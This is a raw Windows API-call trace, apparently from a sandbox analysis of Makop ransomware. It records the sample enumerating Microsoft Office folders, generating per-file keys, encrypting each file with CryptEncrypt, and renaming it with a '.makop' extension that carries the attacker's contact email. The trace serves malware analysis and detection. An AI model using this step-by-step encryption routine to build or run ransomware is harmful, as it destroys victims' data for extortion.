WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0161.591] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0161.591] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0161.592] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0161.592] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0161.592] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0161.592] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.592] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.592] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0xfc70, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0xfc70, lpOverlapped=0x0) returned 1 [0161.594] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0xfc70, dwBufLen=0xfc70 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0xfc70) returned 1 [0161.595] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.595] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xfc70, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0xfc70, lpOverlapped=0x0) returned 1 [0161.596] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0161.596] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfd34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.596] SetEndOfFile (hFile=0x124) returned 1 [0161.605] GetProcessHeap () returned 0x48a0000 [0161.605] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0161.605] GetProcessHeap () returned 0x48a0000 [0161.605] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.606] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0161.606] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\urban.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\urban.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.608] CloseHandle (hObject=0x124) returned 1 [0161.608] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a71d800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3a71d800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x12600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.thmx", cAlternateFileName="VERVE~1.THM")) returned 1 [0161.608] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx") returned 63 [0161.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\verve.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0161.610] GetProcessHeap () returned 0x48a0000 [0161.611] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.611] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.611] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0161.611] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0161.611] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.611] GetProcessHeap () returned 0x48a0000 [0161.611] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0161.611] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30) returned 1 [0161.611] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0161.611] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579528*=0x30, lpOverlapped=0x0) returned 1 [0161.616] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0161.616] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0161.616] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0161.617] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0161.617] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0161.617] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0161.617] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.617] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.617] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x12600, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x12600, lpOverlapped=0x0) returned 1 [0161.620] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x12600, dwBufLen=0x12600 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x12600) returned 1 [0161.621] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.621] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x12600, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x12600, lpOverlapped=0x0) returned 1 [0161.621] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0161.621] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x126c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.622] SetEndOfFile (hFile=0x124) returned 1 [0161.666] GetProcessHeap () returned 0x48a0000 [0161.666] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0161.666] GetProcessHeap () returned 0x48a0000 [0161.666] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.666] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0161.666] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\verve.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\verve.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.669] CloseHandle (hObject=0x124) returned 1 [0161.669] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d03f100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d03f100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2c681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.thmx", cAlternateFileName="WAVEFO~1.THM")) returned 1 [0161.669] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx") returned 66 [0161.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\waveform.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0161.671] GetProcessHeap () returned 0x48a0000 [0161.671] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.671] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.671] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0161.671] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xf, lpOverlapped=0x0) returned 1 [0161.676] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0161.676] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.676] GetProcessHeap () returned 0x48a0000 [0161.676] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0161.676] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40) returned 1 [0161.676] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0161.676] WriteFile (in: hFile=0x124, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0161.676] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0161.677] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0161.677] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0161.677] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0161.677] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0161.677] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0161.677] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.677] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.677] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2c681, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x2c681, lpOverlapped=0x0) returned 1 [0161.681] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x2c690, dwBufLen=0x2c690 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x2c690) returned 1 [0161.683] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.683] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2c690, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x2c690, lpOverlapped=0x0) returned 1 [0161.685] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0161.685] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2c764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.685] SetEndOfFile (hFile=0x124) returned 1 [0161.695] GetProcessHeap () returned 0x48a0000 [0161.695] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0161.696] GetProcessHeap () returned 0x48a0000 [0161.696] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.696] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0161.696] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\waveform.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\waveform.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.697] CloseHandle (hObject=0x124) returned 1 [0161.698] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d03f100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d03f100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2c681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.thmx", cAlternateFileName="WAVEFO~1.THM")) returned 0 [0161.698] FindClose (in: hFindFile=0x48c70a8 | out: hFindFile=0x48c70a8) returned 1 [0161.698] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63969240, ftCreationTime.dwHighDateTime=0x1d57a8c, ftLastAccessTime.dwLowDateTime=0xf35be210, ftLastAccessTime.dwHighDateTime=0x1d5cfd0, ftLastWriteTime.dwLowDateTime=0xf35be210, ftLastWriteTime.dwHighDateTime=0x1d5cfd0, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="edcsvr.exe", cAlternateFileName="")) returned 1 [0161.698] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDIA", cAlternateFileName="")) returned 1 [0161.698] wsprintfW (in: param_1=0x657c270, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA") returned 39 [0161.698] wsprintfW (in: param_1=0x65797f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\*.*") returned 43 [0161.698] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\*.*", lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70a8 [0161.699] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.700] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10", cAlternateFileName="")) returned 1 [0161.700] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned 48 [0161.700] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*") returned 52 [0161.700] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0161.704] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.708] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0161.708] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033") returned 53 [0161.708] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*.*") returned 57 [0161.708] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0161.709] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.709] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11d8d700, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x11d8d700, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c450, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MML", cAlternateFileName="")) returned 1 [0161.709] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0161.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0161.711] GetProcessHeap () returned 0x48a0000 [0161.711] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.711] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.711] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0161.711] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0161.711] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.711] GetProcessHeap () returned 0x48a0000 [0161.711] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0161.712] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0161.712] CryptDestroyKey (hKey=0x48c7168) returned 1 [0161.712] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, 